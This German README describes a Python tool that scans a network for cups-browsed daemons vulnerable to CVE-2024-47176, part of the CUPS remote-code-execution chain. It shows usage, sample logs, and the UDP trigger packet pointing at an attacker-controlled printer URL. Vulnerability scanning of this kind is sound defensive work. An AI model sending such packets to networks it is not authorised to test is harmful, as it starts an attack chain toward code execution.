
Ein einfacher Scanner zur Identifizierung anfälliger cups-browsed-Instanzen in Ihrem Netzwerk
Beispielnutzung: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) ist ein Open-Source-Framework zur Verwaltung und Steuerung von Druckern auf UNIX- und UNIX-ähnlichen Systemen. Es ist eine der am häufigsten verwendeten Bibliotheken für das Drucken und wird von UNIX, Linux und einigen Apple-Geräten unterstützt.
Mehrere kritische Schwachstellen wurden in CUPS gefunden, die aneinandergereiht zu Remote-Code-Ausführung führen können. Die betreffenden CVEs sind CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
Die Schwachstellen erlauben es einem entfernten Angreifer, Netzwerkdrucker so hinzuzufügen oder neu zu konfigurieren, dass sie beliebigen Code ausführen, wenn Benutzer versuchen, von ihnen zu drucken.
Die erste Schwachstelle in der Kette, CVE-2024-47176, ist ein Fehler im cups-browsed-Daemon.
Die Schwachstelle ergibt sich daraus, dass cups-browsed seinen Kontrollport (UDP-Port 631) an INADDR_ANY bindet und ihn so der Welt aussetzt. Da Anforderungen nicht authentifiziert werden, kann jeder, der den Kontrollport erreichen kann, cups-browsed anweisen, eine Druckersuche durchzuführen.
In Fällen, in denen der Port vom Internet aus nicht erreichbar ist (aufgrund von Firewalls oder NAT), kann er dennoch über das lokale Netzwerk erreichbar sein, was Privilege Escalation und laterale Bewegung ermöglicht. Aus diesem Grund habe ich diesen Scanner erstellt, der Ihr lokales Netzwerk nach anfälligen cups-browsed-Instanzen durchsucht.
Typischerweise würde ein Angreifer den Ausnutzungsprozess beginnen, indem er eine speziell präparierte Anfrage an cups-browsed auf UDP-Port 631 sendet, die dazu führt, dass es eine bösartige URL unter seiner Kontrolle kontaktiert.
Zum Beispiel würde ein UDP-Paket mit folgendem Inhalt: 0 3 http://<attacker_server>/printers/malicious_printer cups-browsed dazu veranlassen, eine HTTP-Anfrage an http://<attacker_server>/printers/malicious_printer zu senden.
Wenn die URL als bösartiger Drucker auftreten würde, könnte sie die restlichen CVEs verketten, um Remote-Code-Ausführung zu erlangen.
Mit diesem Mechanismus können wir eine anfällige cups-browsed-Instanz auslösen, eine HTTP-Anfrage (Callback) an unseren eigenen Server zu senden und sich so selbst als anfällig zu identifizieren.
Der Scanvorgang ist wie folgt:
/printers/, die von anfälligen cups-browsed-Instanzen ausgelöst werden.Angenommen, unser HTTP-Server wird auf 10.0.0.1:1337 gehostet, sollte unser UDP-Paket wie folgt aussehen: 0 3 http://10.0.0.1:1337/printers/test1234
Dieser Python-Scanner erledigt alles für Sie (sowohl den HTTP-Server als auch das Scannen).
Das Skript startet einen temporären HTTP-Server über http.server auf einer angegebenen IP und Port, erstellt dann UDP-Pakete und sendet sie an jede IP im angegebenen Bereich. Der HTTP-Server erfasst automatisch Callbacks von anfälligen cups-browsed-Instanzen und protokolliert sie auf der Festplatte.
Benutzerfreundliche Protokolle werden in logs/cups.log geschrieben und rohe HTTP-Anfragen werden in logs/requests.log geschrieben.
--target
die zu scannende(n) CIDR(s). Kann eine einzelne CIDR oder mehrere durch Kommas getrennte CIDRs sein.
--callback die lokale IP und Port, auf dem unser HTTP-Server gehostet werden soll (muss über den Zielbereich erreichbar sein)
--scan-unsafe standardmäßig scannen wir nur zuweisbare Host-Adressen (wir schließen die Netzwerkadresse und Broadcast-Adresse aus).
In einigen Fällen kann es wünschenswert sein, diese Adressen zu scannen, daher kann dieses Verhalten mit dem Flag --scan-unsafe überschrieben werden.
Scannen von CIDR 10.0.0.0/24 von IP-Adresse 10.0.0.1, Hosting des Callback-Servers auf 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
Scannen mehrerer CIDRs von IP-Adresse 10.0.0.1, Hosting des Callback-Servers auf 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
Hinweis: Die IP des Callback-Servers muss zum scannenden Host gehören, und der Port muss von jeder Ziel-IP aus erreichbar sein.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
Weitere Informationen finden Sie unter: Offizieller CUPS-Schwachstellenbericht